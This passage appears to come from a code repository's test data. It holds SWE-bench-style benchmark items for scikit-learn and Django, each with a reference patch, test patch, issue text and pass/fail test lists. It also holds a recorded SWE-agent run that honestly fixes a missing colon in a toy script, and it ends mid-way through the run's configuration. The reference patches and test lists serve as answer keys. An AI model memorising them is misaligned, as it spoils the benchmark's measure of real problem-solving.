"testing/test_assertrewrite.py::TestRewriteOnImport::test_remember_rewritten_modules", "testing/test_assertrewrite.py::TestRewriteOnImport::test_rewrite_module_imported_from_conftest", "testing/test_assertrewrite.py::TestRewriteOnImport::test_rewrite_warning", "testing/test_assertrewrite.py::TestRewriteOnImport::test_rewrite_warning_using_pytest_plugins", "testing/test_assertrewrite.py::TestRewriteOnImport::test_rewrite_warning_using_pytest_plugins_env_var", "testing/test_assertrewrite.py::TestRewriteOnImport::test_translate_newlines", "testing/test_assertrewrite.py::TestRewriteOnImport::test_zipfile", "testing/test_assertrewrite.py::test_get_assertion_exprs[assert", "testing/test_assertrewrite.py::test_get_assertion_exprs[assertion", "testing/test_assertrewrite.py::test_get_assertion_exprs[backslash", "testing/test_assertrewrite.py::test_get_assertion_exprs[escaped", "testing/test_assertrewrite.py::test_get_assertion_exprs[latin1", "testing/test_assertrewrite.py::test_get_assertion_exprs[multi", "testing/test_assertrewrite.py::test_get_assertion_exprs[multi-line", "testing/test_assertrewrite.py::test_get_assertion_exprs[multiple", "testing/test_assertrewrite.py::test_get_assertion_exprs[no", "testing/test_assertrewrite.py::test_get_assertion_exprs[trivial]", "testing/test_assertrewrite.py::test_get_assertion_exprs[utf-8", "testing/test_assertrewrite.py::test_issue731", "testing/test_assertrewrite.py::test_rewrite_infinite_recursion", "testing/test_assertrewrite.py::test_source_mtime_long_long[-1]", "testing/test_assertrewrite.py::test_source_mtime_long_long[1]", "testing/test_assertrewrite.py::test_try_makedirs"], "environment_setup_commit": "10056865d2a4784934ce043908a0e78d0578f677"}, {"repo": "scikit-learn/scikit-learn", "instance_id": "scikit-learn__scikit-learn-13584", "base_commit": "0e3c1879b06d839171b7d0a607d71bbb19a966a9", "patch": "diff --git a/sklearn/utils/_pprint.py b/sklearn/utils/_pprint.py\n--- a/sklearn/utils/_pprint.py\n+++ b/sklearn/utils/_pprint.py\n@@ -95,7 +95,7 @@ def _changed_params(estimator):\n init_params = signature(init_func).parameters\n init_params = {name: param.default for name, param in init_params.items()}\n for k, v in params.items():\n- if (v != init_params[k] and\n+ if (repr(v) != repr(init_params[k]) and\n not (is_scalar_nan(init_params[k]) and is_scalar_nan(v))):\n filtered_params[k] = v\n return filtered_params\n", "test_patch": "diff --git a/sklearn/utils/tests/test_pprint.py b/sklearn/utils/tests/test_pprint.py\n--- a/sklearn/utils/tests/test_pprint.py\n+++ b/sklearn/utils/tests/test_pprint.py\n@@ -4,6 +4,7 @@\n import numpy as np\n \n from sklearn.utils._pprint import _EstimatorPrettyPrinter\n+from sklearn.linear_model import LogisticRegressionCV\n from sklearn.pipeline import make_pipeline\n from sklearn.base import BaseEstimator, TransformerMixin\n from sklearn.feature_selection import SelectKBest, chi2\n@@ -212,6 +213,9 @@ def test_changed_only():\n expected = \"\"\"SimpleImputer()\"\"\"\n assert imputer.__repr__() == expected\n \n+ # make sure array parameters don't throw error (see #13583)\n+ repr(LogisticRegressionCV(Cs=np.array([0.1, 1])))\n+\n set_config(print_changed_only=False)\n \n \n", "problem_statement": "bug in print_changed_only in new repr: vector values\n```python\r\nimport sklearn\r\nimport numpy as np\r\nfrom sklearn.linear_model import LogisticRegressionCV\r\nsklearn.set_config(print_changed_only=True)\r\nprint(LogisticRegressionCV(Cs=np.array([0.1, 1])))\r\n```\r\n> ValueError: The truth value of an array with more than one element is ambiguous. Use a.any() or a.all()\r\n\r\nping @NicolasHug \r\n\n", "hints_text": "", "created_at": "2019-04-05T23:09:48Z", "version": "0.21", "FAIL_TO_PASS": ["sklearn/utils/tests/test_pprint.py::test_changed_only", "sklearn/utils/tests/test_pprint.py::test_deeply_nested", "sklearn/utils/tests/test_pprint.py::test_gridsearch", "sklearn/utils/tests/test_pprint.py::test_gridsearch_pipeline", "sklearn/utils/tests/test_pprint.py::test_n_max_elements_to_show", "sklearn/utils/tests/test_pprint.py::test_pipeline"], "PASS_TO_PASS": ["sklearn/utils/tests/test_pprint.py::test_basic", "sklearn/utils/tests/test_pprint.py::test_builtin_prettyprinter", "sklearn/utils/tests/test_pprint.py::test_length_constraint"], "environment_setup_commit": "7813f7efb5b2012412888b69e73d76f2df2b50b6"}, {"repo": "django/django", "instance_id": "django__django-15781", "base_commit": "8d160f154f0240a423e83ffe0690e472f837373c", "patch": "diff --git a/django/core/management/base.py b/django/core/management/base.py\n--- a/django/core/management/base.py\n+++ b/django/core/management/base.py\n@@ -286,10 +286,10 @@ def create_parser(self, prog_name, subcommand, **kwargs):\n Create and return the ``ArgumentParser`` which will be used to\n parse the arguments to this command.\n \"\"\"\n+ kwargs.setdefault(\"formatter_class\", DjangoHelpFormatter)\n parser = CommandParser(\n prog=\"%s %s\" % (os.path.basename(prog_name), subcommand),\n description=self.help or None,\n- formatter_class=DjangoHelpFormatter,\n missing_args_message=getattr(self, \"missing_args_message\", None),\n called_from_command_line=getattr(self, \"_called_from_command_line\", None),\n **kwargs,\n", "test_patch": "diff --git a/tests/user_commands/tests.py b/tests/user_commands/tests.py\n--- a/tests/user_commands/tests.py\n+++ b/tests/user_commands/tests.py\n@@ -1,4 +1,5 @@\n import os\n+from argparse import ArgumentDefaultsHelpFormatter\n from io import StringIO\n from unittest import mock\n \n@@ -408,8 +409,14 @@ def test_subparser_invalid_option(self):\n def test_create_parser_kwargs(self):\n \"\"\"BaseCommand.create_parser() passes kwargs to CommandParser.\"\"\"\n epilog = \"some epilog text\"\n- parser = BaseCommand().create_parser(\"prog_name\", \"subcommand\", epilog=epilog)\n+ parser = BaseCommand().create_parser(\n+ \"prog_name\",\n+ \"subcommand\",\n+ epilog=epilog,\n+ formatter_class=ArgumentDefaultsHelpFormatter,\n+ )\n self.assertEqual(parser.epilog, epilog)\n+ self.assertEqual(parser.formatter_class, ArgumentDefaultsHelpFormatter)\n \n def test_outputwrapper_flush(self):\n out = StringIO()\n", "problem_statement": "Customizable management command formatters.\nDescription\n\t\nWith code like:\nclass Command(BaseCommand):\n\thelp = '''\n\tImport a contract from tzkt.\n\tExample usage:\n\t\t./manage.py tzkt_import 'Tezos Mainnet' KT1HTDtMBRCKoNHjfWEEvXneGQpCfPAt6BRe\n\t'''\nHelp output is:\n$ ./manage.py help tzkt_import\nusage: manage.py tzkt_import [-h] [--api API] [--version] [-v {0,1,2,3}] [--settings SETTINGS]\n\t\t\t\t\t\t\t [--pythonpath PYTHONPATH] [--traceback] [--no-color] [--force-color]\n\t\t\t\t\t\t\t [--skip-checks]\n\t\t\t\t\t\t\t blockchain target\nImport a contract from tzkt Example usage: ./manage.py tzkt_import 'Tezos Mainnet'\nKT1HTDtMBRCKoNHjfWEEvXneGQpCfPAt6BRe\npositional arguments:\n blockchain\t\t\tName of the blockchain to import into\n target\t\t\t\tId of the contract to import\nWhen that was expected:\n$ ./manage.py help tzkt_import\nusage: manage.py tzkt_import [-h] [--api API] [--version] [-v {0,1,2,3}] [--settings SETTINGS]\n\t\t\t\t\t\t\t [--pythonpath PYTHONPATH] [--traceback] [--no-color] [--force-color]\n\t\t\t\t\t\t\t [--skip-checks]\n\t\t\t\t\t\t\t blockchain target\nImport a contract from tzkt \nExample usage: \n\t./manage.py tzkt_import 'Tezos Mainnet' KT1HTDtMBRCKoNHjfWEEvXneGQpCfPAt6BRe\npositional arguments:\n blockchain\t\t\tName of the blockchain to import into\n target\t\t\t\tId of the contract to import\n", "hints_text": "This seems no fault of Django but is rather \u200bthe default behavior of ArgumentParser (\"By default, ArgumentParser objects line-wrap the description and epilog texts in command-line help messages\"). This can be changed by using a custom \u200bformatter_class, though Django already specifies a custom one (\u200bDjangoHelpFormatter).\nIt seems reasonable, to make it customizable by passing via kwargs to the \u200bBaseCommand.create_parser() (as documented): django/core/management/base.py diff --git a/django/core/management/base.py b/django/core/management/base.py index f0e711ac76..52407807d8 100644 a b class BaseCommand: 286286 Create and return the ``ArgumentParser`` which will be used to 287287 parse the arguments to this command. 288288 \"\"\" 289 kwargs.setdefault(\"formatter_class\", DjangoHelpFormatter) 289290 parser = CommandParser( 290291 prog=\"%s %s\" % (os.path.basename(prog_name), subcommand), 291292 description=self.help or None, 292 formatter_class=DjangoHelpFormatter, 293293 missing_args_message=getattr(self, \"missing_args_message\", None), 294294 called_from_command_line=getattr(self, \"_called_from_command_line\", None), 295295 **kwargs, What do you think?\nLooks good but I don't see a reason for keeping a default that swallows newlines because PEP257 forbids having a multiline sentence on the first line anyway: Multi-line docstrings consist of a summary line just like a one-line docstring, followed by a blank line, followed by a more elaborate description. As such, the default formater which purpose is to unwrap the first sentence encourages breaking PEP 257. And users who are naturally complying with PEP257 will have to override the formatter, it should be the other way around.\nAlso, the not-unwraping formater will also look fine with existing docstrings, it will work for both use cases, while the current one only works for one use case and breaks the other. The default formater should work for both\nReplying to James Pic: Also, the not-unwraping formater will also look fine with existing docstrings, it will work for both use cases, while the current one only works for one use case and breaks the other. The default formater should work for both It seems you think that Python's (not Django's) default behavior should be changed according to PEP 257. I'd recommend to start a discussion in Python's bugtracker. As far as I'm aware the proposed solution will allow users to freely change a formatter, which should be enough from the Django point of view.\nNo, I think that Django's default behavior should match Python's PEP 257, and at the same time, have a default that works in all use cases. I think my report and comments are pretty clear, I fail to understand how you could get my comment completely backward, so, unless you have any specific question about this statement, I'm going to give up on this.\nSo as part of this issue, do we make changes to allow a user to override the formatter through kwargs and also keep DjangoHelpFormatter as the default?\nReplying to Subhankar Hotta: So as part of this issue, do we make changes to allow a user to override the formatter through kwargs and also keep DjangoHelpFormatter as the default? Yes, see comment.", "created_at": "2022-06-18T19:39:34Z", "version": "4.2", "FAIL_TO_PASS": ["BaseCommand.create_parser() passes kwargs to CommandParser."], "PASS_TO_PASS": ["An unknown command raises CommandError", "By default, call_command should not trigger the check framework, unless", "Exception raised in a command should raise CommandError with", "It should be possible to pass non-string arguments to call_command.", "Management commands can also be loaded from Python eggs.", "To avoid conflicts with custom options, commands don't allow", "When passing the long option name to call_command, the available option", "When the Command handle method is decorated with @no_translations,", "find_command should still work when the PATH environment variable", "test_call_command_unrecognized_option (user_commands.tests.CommandTests)", "test_call_command_with_required_parameters_in_mixed_options (user_commands.tests.CommandTests)", "test_call_command_with_required_parameters_in_options (user_commands.tests.CommandTests)", "test_calling_a_command_with_no_app_labels_and_parameters_raise_command_error (user_commands.tests.CommandTests)", "test_calling_a_command_with_only_empty_parameter_should_ends_gracefully (user_commands.tests.CommandTests)", "test_calling_command_with_app_labels_and_parameters_should_be_ok (user_commands.tests.CommandTests)", "test_calling_command_with_parameters_and_app_labels_at_the_end_should_be_ok (user_commands.tests.CommandTests)", "test_check_migrations (user_commands.tests.CommandTests)", "test_command (user_commands.tests.CommandTests)", "test_command_add_arguments_after_common_arguments (user_commands.tests.CommandTests)", "test_command_style (user_commands.tests.CommandTests)", "test_get_random_secret_key (user_commands.tests.UtilsTests)", "test_is_ignored_path_false (user_commands.tests.UtilsTests)", "test_is_ignored_path_true (user_commands.tests.UtilsTests)", "test_language_preserved (user_commands.tests.CommandTests)", "test_mutually_exclusive_group_required_const_options (user_commands.tests.CommandTests)", "test_mutually_exclusive_group_required_options (user_commands.tests.CommandTests)", "test_mutually_exclusive_group_required_with_same_dest_args (user_commands.tests.CommandTests)", "test_mutually_exclusive_group_required_with_same_dest_options (user_commands.tests.CommandTests)", "test_no_existent_external_program (user_commands.tests.UtilsTests)", "test_normalize_path_patterns_truncates_wildcard_base (user_commands.tests.UtilsTests)", "test_output_transaction (user_commands.tests.CommandTests)", "test_outputwrapper_flush (user_commands.tests.CommandTests)", "test_required_const_options (user_commands.tests.CommandTests)", "test_required_list_option (user_commands.tests.CommandTests)", "test_requires_system_checks_empty (user_commands.tests.CommandTests)", "test_requires_system_checks_invalid (user_commands.tests.CommandTests)", "test_requires_system_checks_specific (user_commands.tests.CommandTests)", "test_script_prefix_set_in_commands (user_commands.tests.CommandRunTests)", "test_skip_checks (user_commands.tests.CommandRunTests)", "test_subparser (user_commands.tests.CommandTests)", "test_subparser_dest_args (user_commands.tests.CommandTests)", "test_subparser_dest_required_args (user_commands.tests.CommandTests)", "test_subparser_invalid_option (user_commands.tests.CommandTests)"], "environment_setup_commit": "0fbdb9784da915fce5dcc1fe82bac9b4785749e5"}] diff --git a/tests/test_data/trajectories/gpt4__swe-agent-test-repo__default_from_url__t-0.00__p-0.95__c-3.00__install-1/6e44b9__sweagenttestrepo-1c2844.traj b/tests/test_data/trajectories/gpt4__swe-agent-test-repo__default_from_url__t-0.00__p-0.95__c-3.00__install-1/6e44b9__sweagenttestrepo-1c2844.traj new file mode 100644 index 0000000..7c6fa32 --- /dev/null +++ b/tests/test_data/trajectories/gpt4__swe-agent-test-repo__default_from_url__t-0.00__p-0.95__c-3.00__install-1/6e44b9__sweagenttestrepo-1c2844.traj @@ -0,0 +1,342 @@ +{ + "environment": "main", + "trajectory": [ + { + "action": "find_file missing_colon.py", + "observation": "Found 1 matches for \"missing_colon.py\" in /SWE-agent__test-repo:\r\n/SWE-agent__test-repo/tests/missing_colon.py", + "response": "To start addressing this issue, I will first search for the `missing_colon.py` file and open it since that is where the problem is occurring. I will then examine the file to see exactly what the syntax error might be and correct it. \n\nLet's begin by finding the `missing_colon.py` file in the repository.", + "thought": "To start addressing this issue, I will first search for the `missing_colon.py` file and open it since that is where the problem is occurring. I will then examine the file to see exactly what the syntax error might be and correct it. \n\nLet's begin by finding the `missing_colon.py` file in the repository.", + "execution_time": 0.2814128329991945, + "state": { + "open_file": "n/a", + "working_dir": "/SWE-agent__test-repo" + } + }, + { + "action": "open \"/SWE-agent__test-repo/tests/missing_colon.py\"", + "observation": "[File: /SWE-agent__test-repo/tests/missing_colon.py (10 lines total)]\r\n1:#!/usr/bin/env python3\r\n2:\r\n3:\r\n4:def division(a: float, b: float) -> float\r\n5: return a/b\r\n6:\r\n7:\r\n8:if __name__ == \"__main__\":\r\n9: print(division(123, 15))\r\n10:", + "response": "The file `missing_colon.py` is located in the `tests` directory. I will now open this file to check the source of the syntax error in order to fix it.", + "thought": "The file `missing_colon.py` is located in the `tests` directory. I will now open this file to check the source of the syntax error in order to fix it.", + "execution_time": 0.29675291599960474, + "state": { + "open_file": "/SWE-agent__test-repo/tests/missing_colon.py", + "working_dir": "/SWE-agent__test-repo" + } + }, + { + "action": "edit 'def division(a: float, b: float) -> float' 'def division(a: float, b: float) -> float:' False", + "observation": "Replaced 1 occurrences. Please review the changes and make sure they are correct\r\n(correct indentation, no duplicate lines, etc). Edit the file again if necessary.\r\n[File: /SWE-agent__test-repo/tests/missing_colon.py (10 lines total)]\r\n1:#!/usr/bin/env python3\r\n2:\r\n3:\r\n4:def division(a: float, b: float) -> float:\r\n5: return a/b\r\n6:\r\n7:\r\n8:if __name__ == \"__main__\":\r\n9: print(division(123, 15))\r\n10:", + "response": "The syntax error in the `missing_colon.py` file is due to the missing colon (`:`) at the end of the function definition on line 4. I will add the missing colon to fix this syntax error.", + "thought": "The syntax error in the `missing_colon.py` file is due to the missing colon (`:`) at the end of the function definition on line 4. I will add the missing colon to fix this syntax error.", + "execution_time": 0.4935787079994043, + "state": { + "open_file": "/SWE-agent__test-repo/tests/missing_colon.py", + "working_dir": "/SWE-agent__test-repo" + } + }, + { + "action": "python3 /SWE-agent__test-repo/tests/missing_colon.py", + "observation": "8.2", + "response": "The missing colon has been added to the function definition on line 4. This should fix the syntax error. Next, I will run this Python script to verify that the error is resolved and ensure that it executes correctly.", + "thought": "The missing colon has been added to the function definition on line 4. This should fix the syntax error. Next, I will run this Python script to verify that the error is resolved and ensure that it executes correctly.", + "execution_time": 0.2925790000008419, + "state": { + "open_file": "/SWE-agent__test-repo/tests/missing_colon.py", + "working_dir": "/SWE-agent__test-repo" + } + }, + { + "action": "submit", + "observation": "\r\ndiff --git a/tests/missing_colon.py b/tests/missing_colon.py\r\nindex 20edef5..5857437 100755\r\n--- a/tests/missing_colon.py\r\n+++ b/tests/missing_colon.py\r\n@@ -1,7 +1,7 @@\r\n #!/usr/bin/env python3\r\n \r\n \r\n-def division(a: float, b: float) -> float\r\n+def division(a: float, b: float) -> float:\r\n return a/b\r\n \r\n \r\n", + "response": "The script `missing_colon.py` ran successfully and the output was `8.2`, indicating that the syntax error has been fixed. The function `division` is now working correctly. \n\nI will now submit the changes to finalize the fix.", + "thought": "The script `missing_colon.py` ran successfully and the output was `8.2`, indicating that the syntax error has been fixed. The function `division` is now working correctly. \n\nI will now submit the changes to finalize the fix.", + "execution_time": 0.2691650420001679, + "state": { + "open_file": "/SWE-agent__test-repo/tests/missing_colon.py", + "working_dir": "/SWE-agent__test-repo" + } + } + ], + "history": [ + { + "role": "system", + "content": "SETTING: You are an autonomous programmer, and you're working directly in the command line with a special interface.\n\nThe special interface consists of a file editor that shows you 100 lines of a file at a time.\nIn addition to typical bash commands, you can also use the following commands to help you navigate and edit files.\n\nPlease note that THE EDIT COMMAND REQUIRES PROPER INDENTATION.\nIf you'd like to add the line ' print(x)' you must fully write that out, with all those spaces before the code! Indentation is important and code that is not indented correctly will fail and require fixing before it can be run.\n\nRESPONSE FORMAT:\nYour shell prompt is formatted as follows:\n(Open file: ) $\n\nFirst, you should _always_ include a general thought about what you're going to do next.\nThen, for every response, you must include exactly _ONE_ command to execute.\nAll of the tools you need to use are listed for your reference.\n\nRemember, you should only include a _SINGLE_ command in the command section and then wait for a response from the shell before continuing with more discussion and commands. Everything you include in the DISCUSSION section will be saved for future reference.\nIf you'd like to issue two commands at once, PLEASE DO NOT DO THAT! Please instead first submit just the first command, and then after receiving a response you'll be able to issue the second command.\nYou're free to use any other bash commands you want (e.g. find, grep, cat, ls, cd) in addition to the special commands listed above.\nHowever, the environment does NOT support interactive session commands (e.g. python, vim), so please do not invoke them.", + "agent": "main", + "message_type": "system_prompt" + }, + { + "role": "user", + "content": "We're currently solving the following issue within our repository. Here's the issue text:\nISSUE:\nSyntaxError: invalid syntax\nI'm running `missing_colon.py` as follows:\r\n\r\n```python\r\ndivision(23, 0)\r\n```\r\n\r\nbut I get the following error:\r\n\r\n```\r\n File \"/Users/fuchur/Documents/24/git_sync/swe-agent-test-repo/tests/./missing_colon.py\", line 4\r\n def division(a: float, b: float) -> float\r\n ^\r\nSyntaxError: invalid syntax\r\n```\n\n\nINSTRUCTIONS:\nNow, you're going to solve this issue on your own. Your terminal session has started and you're in the repository's root directory. You can use any bash commands or the special interface to help you. Edit all the files you need to and run any checks or tests that you want.\nRemember, YOU CAN ONLY ENTER ONE COMMAND AT A TIME. You should always wait for feedback after every command.\nWhen you're satisfied with all of the changes you've made, you can submit your changes to the code base by simply running the submit command.\nNote however that you cannot use any interactive session commands (e.g. python, vim) in this environment, but you can write scripts and run them. E.g. you can write a python script and then run it with `python .py`.\n\nNOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line!\n\nIMPORTANT TIPS:\n1. Always start by trying to replicate the bug that the issues discusses.\n If the issue includes code for reproducing the bug, we recommend that you re-implement that in your environment, and run it to make sure you can reproduce the bug.\n Then start trying to fix it.\n When you think you've fixed the bug, re-run the bug reproduction script to make sure that the bug has indeed been fixed.\n\n If the bug reproduction script does not print anything when it successfully runs, we recommend adding a print(\"Script completed successfully, no errors.\") command at the end of the file,\n so that you can be sure that the script indeed ran fine all the way through.\n\n2. If you run a command and it doesn't work, try running a different command. A command that did not work once will not work the second time unless you modify it!\n\n3. If you open a file and need to get to an area around a specific line that is not in the first 100 lines, say line 583, don't just use the scroll_down command multiple times. Instead, use the goto 583 command. It's much quicker.\n\n4. If the bug reproduction script requires inputting/reading a specific file, such as buggy-input.png, and you'd like to understand how to input that file, conduct a search in the existing repo code, to see whether someone else has already done that. Do this by running the command: find_file \"buggy-input.png\" If that doesn't work, use the linux 'find' command.\n\n5. Always make sure to look at the currently open file and the current working directory (which appears right after the currently open file). The currently open file might be in a different directory than the working directory! Note that some commands, such as 'create', open files, so they might change the current open file.\n\n6. When editing files, it is easy to accidentally specify a wrong line number or to write code with incorrect indentation. Always check the code after you issue an edit to make sure that it reflects what you wanted to accomplish. If it didn't, issue another command to fix it.\n\n\n(Open file: n/a)\n(Current directory: /SWE-agent__test-repo)\nbash-$", + "agent": "main", + "message_type": "observation" + }, + { + "role": "assistant", + "content": "To start addressing this issue, I will first search for the `missing_colon.py` file and open it since that is where the problem is occurring. I will then examine the file to see exactly what the syntax error might be and correct it. \n\nLet's begin by finding the `missing_colon.py` file in the repository.", + "thought": "To start addressing this issue, I will first search for the `missing_colon.py` file and open it since that is where the problem is occurring. I will then examine the file to see exactly what the syntax error might be and correct it. \n\nLet's begin by finding the `missing_colon.py` file in the repository.", + "action": "find_file missing_colon.py", + "agent": "main", + "tool_calls": [ + { + "function": { + "arguments": "{\"file_name\":\"missing_colon.py\"}", + "name": "find_file" + }, + "id": "call_fJuazlMUN5fQDQ73G6XSpYpx", + "type": "function" + } + ], + "message_type": "action" + }, + { + "role": "tool", + "content": "Found 1 matches for \"missing_colon.py\" in /SWE-agent__test-repo:\r\n/SWE-agent__test-repo/tests/missing_colon.py\n(Open file: n/a)\n(Current directory: /SWE-agent__test-repo)\nbash-$", + "agent": "main", + "tool_call_ids": [ + "call_fJuazlMUN5fQDQ73G6XSpYpx" + ], + "message_type": "observation" + }, + { + "role": "assistant", + "content": "The file `missing_colon.py` is located in the `tests` directory. I will now open this file to check the source of the syntax error in order to fix it.", + "thought": "The file `missing_colon.py` is located in the `tests` directory. I will now open this file to check the source of the syntax error in order to fix it.", + "action": "open \"/SWE-agent__test-repo/tests/missing_colon.py\"", + "agent": "main", + "tool_calls": [ + { + "function": { + "arguments": "{\"path\":\"/SWE-agent__test-repo/tests/missing_colon.py\"}", + "name": "open" + }, + "id": "call_OhmPHGZp0XJ6JRnNkQaYcBMs", + "type": "function" + } + ], + "message_type": "action" + }, + { + "role": "tool", + "content": "[File: /SWE-agent__test-repo/tests/missing_colon.py (10 lines total)]\r\n1:#!/usr/bin/env python3\r\n2:\r\n3:\r\n4:def division(a: float, b: float) -> float\r\n5: return a/b\r\n6:\r\n7:\r\n8:if __name__ == \"__main__\":\r\n9: print(division(123, 15))\r\n10:\n(Open file: /SWE-agent__test-repo/tests/missing_colon.py)\n(Current directory: /SWE-agent__test-repo)\nbash-$", + "agent": "main", + "tool_call_ids": [ + "call_OhmPHGZp0XJ6JRnNkQaYcBMs" + ], + "message_type": "observation" + }, + { + "role": "assistant", + "content": "The syntax error in the `missing_colon.py` file is due to the missing colon (`:`) at the end of the function definition on line 4. I will add the missing colon to fix this syntax error.", + "thought": "The syntax error in the `missing_colon.py` file is due to the missing colon (`:`) at the end of the function definition on line 4. I will add the missing colon to fix this syntax error.", + "action": "edit 'def division(a: float, b: float) -> float' 'def division(a: float, b: float) -> float:' False", + "agent": "main", + "tool_calls": [ + { + "function": { + "arguments": "{\"search\":\"def division(a: float, b: float) -> float\",\"replace\":\"def division(a: float, b: float) -> float:\",\"replace-all\":false}", + "name": "edit" + }, + "id": "call_DVnbJcFrvwPsrPt3KfIMf7OH", + "type": "function" + } + ], + "message_type": "action" + }, + { + "role": "tool", + "content": "Replaced 1 occurrences. Please review the changes and make sure they are correct\r\n(correct indentation, no duplicate lines, etc). Edit the file again if necessary.\r\n[File: /SWE-agent__test-repo/tests/missing_colon.py (10 lines total)]\r\n1:#!/usr/bin/env python3\r\n2:\r\n3:\r\n4:def division(a: float, b: float) -> float:\r\n5: return a/b\r\n6:\r\n7:\r\n8:if __name__ == \"__main__\":\r\n9: print(division(123, 15))\r\n10:\n(Open file: /SWE-agent__test-repo/tests/missing_colon.py)\n(Current directory: /SWE-agent__test-repo)\nbash-$", + "agent": "main", + "tool_call_ids": [ + "call_DVnbJcFrvwPsrPt3KfIMf7OH" + ], + "message_type": "observation" + }, + { + "role": "assistant", + "content": "The missing colon has been added to the function definition on line 4. This should fix the syntax error. Next, I will run this Python script to verify that the error is resolved and ensure that it executes correctly.", + "thought": "The missing colon has been added to the function definition on line 4. This should fix the syntax error. Next, I will run this Python script to verify that the error is resolved and ensure that it executes correctly.", + "action": "python3 /SWE-agent__test-repo/tests/missing_colon.py", + "agent": "main", + "tool_calls": [ + { + "function": { + "arguments": "{\"command\":\"python3 /SWE-agent__test-repo/tests/missing_colon.py\"}", + "name": "bash" + }, + "id": "call_dcF76aXH6e1pzqRwGxOwpuxb", + "type": "function" + } + ], + "message_type": "action" + }, + { + "role": "tool", + "content": "8.2\n(Open file: /SWE-agent__test-repo/tests/missing_colon.py)\n(Current directory: /SWE-agent__test-repo)\nbash-$", + "agent": "main", + "tool_call_ids": [ + "call_dcF76aXH6e1pzqRwGxOwpuxb" + ], + "message_type": "observation" + } + ], + "info": { + "submission": "\r\ndiff --git a/tests/missing_colon.py b/tests/missing_colon.py\r\nindex 20edef5..5857437 100755\r\n--- a/tests/missing_colon.py\r\n+++ b/tests/missing_colon.py\r\n@@ -1,7 +1,7 @@\r\n #!/usr/bin/env python3\r\n \r\n \r\n-def division(a: float, b: float) -> float\r\n+def division(a: float, b: float) -> float:\r\n return a/b\r\n \r\n \r\n", + "exit_status": "submitted", + "edited_files30": "[File: tests/missing_colon.py\r]\n 1: #!/usr/bin/env python3\n 2: \n 3: \n 4: def division(a: float, b: float) -> float:\n 5: return a/b\n 6: \n 7: \n 8: if __name__ == \"__main__\":\n 9: print(division(123, 15))", + "edited_files50": "[File: tests/missing_colon.py\r]\n 1: #!/usr/bin/env python3\n 2: \n 3: \n 4: def division(a: float, b: float) -> float:\n 5: return a/b\n 6: \n 7: \n 8: if __name__ == \"__main__\":\n 9: print(division(123, 15))", + "edited_files70": "[File: tests/missing_colon.py\r]\n 1: #!/usr/bin/env python3\n 2: \n 3: \n 4: def division(a: float, b: float) -> float:\n 5: return a/b\n 6: \n 7: \n 8: if __name__ == \"__main__\":\n 9: print(division(123, 15))", + "model_stats": { + "instance_cost": 0.019520000000000006, + "tokens_sent": 7141, + "tokens_received": 243, + "api_calls": 5 + } + }, + "replay_config": { + "env": { + "deployment": { + "image": "tiny", + "port": null, + "docker_args": [], + "startup_timeout": 180.0, + "pull": "missing", + "remove_images": false, + "type": "docker" + }, + "repo": { + "github_url": "https://github.com/SWE-agent/test-repo/", + "base_commit": "HEAD", + "clone_timeout": 500.0, + "type": "github" + }, + "post_startup_commands": [], + "name": "main" + }, + "agent": { + "name": "main", + "templates": { + "system_template": "SETTING: You are an autonomous programmer, and you're working directly in the command line with a special interface.\n\nThe special interface consists of a file editor that shows you {WINDOW} lines of a file at a time.\nIn addition to typical bash commands, you can also use the following commands to help you navigate and edit files.\n\nPlease note that THE EDIT COMMAND REQUIRES PROPER INDENTATION.\nIf you'd like to add the line ' print(x)' you must fully write that out, with all those spaces before the code! Indentation is important and code that is not indented correctly will fail and require fixing before it can be run.\n\nRESPONSE FORMAT:\nYour shell prompt is formatted as follows:\n(Open file: ) $\n\nFirst, you should _always_ include a general thought about what you're going to do next.\nThen, for every response, you must include exactly _ONE_ command to execute.\nAll of the tools you need to use are listed for your reference.\n\nRemember, you should only include a _SINGLE_ command in the command section and then wait for a response from the shell before continuing with more discussion and commands. Everything you include in the DISCUSSION section will be saved for future reference.\nIf you'd like to issue two commands at once, PLEASE DO NOT DO THAT! Please instead first submit just the first command, and then after receiving a response you'll be able to issue the second command.\nYou're free to use any other bash commands you want (e.g. find, grep, cat, ls, cd) in addition to the special commands listed above.\nHowever, the environment does NOT support interactive session commands (e.g. python, vim), so please do not invoke them.", + "instance_template": "We're currently solving the following issue within our repository. Here's the issue text:\nISSUE:\n{problem_statement}\n\nINSTRUCTIONS:\nNow, you're going to solve this issue on your own. Your terminal session has started and you're in the repository's root directory. You can use any bash commands or the special interface to help you. Edit all the files you need to and run any checks or tests that you want.\nRemember, YOU CAN ONLY ENTER ONE COMMAND AT A TIME. You should always wait for feedback after every command.\nWhen you're satisfied with all of the changes you've made, you can submit your changes to the code base by simply running the submit command.\nNote however that you cannot use any interactive session commands (e.g. python, vim) in this environment, but you can write scripts and run them. E.g. you can write a python script and then run it with `python .py`.\n\nNOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line!\n\nIMPORTANT TIPS:\n1. Always start by trying to replicate the bug that the issues discusses.\n If the issue includes code for reproducing the bug, we recommend that you re-implement that in your environment, and run it to make sure you can reproduce the bug.\n Then start trying to fix it.\n When you think you've fixed the bug, re-run the bug reproduction script to make sure that the bug has indeed been fixed.\n\n If the bug reproduction script does not print anything when it successfully runs, we recommend adding a print(\"Script completed successfully, no errors.\") command at the end of the file,\n so that you can be sure that the script indeed ran fine all the way through.\n\n2. If you run a command and it doesn't work, try running a different command. A command that did not work once will not work the second time unless you modify it!\n\n3. If you open a file and need to get to an area around a specific line that is not in the first 100 lines, say line 583, don't just use the scroll_down command multiple times. Instead, use the goto 583 command. It's much quicker.\n\n4. If the bug reproduction script requires inputting/reading a specific file, such as buggy-input.png, and you'd like to understand how to input that file, conduct a search in the existing repo code, to see whether someone else has already done that. Do this by running the command: find_file \"buggy-input.png\" If that doesn't work, use the linux 'find' command.\n\n5. Always make sure to look at the currently open file and the current working directory (which appears right after the currently open file). The currently open file might be in a different directory than the working directory! Note that some commands, such as 'create', open files, so they might change the current open file.\n\n6. When editing files, it is easy to accidentally specify a wrong line number or to write code with incorrect indentation. Always check the code after you issue an edit to make sure that it reflects what you wanted to accomplish. If it didn't, issue another command to fix it.\n\n\n(Open file: {open_file})\n(Current directory: {working_dir})\nbash-$", + "next_step_template": "{observation}\n(Open file: {open_file})\n(Current directory: {working_dir})\nbash-$", + "next_step_no_output_template": "Your command ran successfully and did not produce any output.\n(Open file: {open_file})\n(Current directory: {working_dir})\nbash-$", + "strategy_template": null, + "demonstration_template": null, + "demonstrations": [], + "put_demos_in_history": false, + 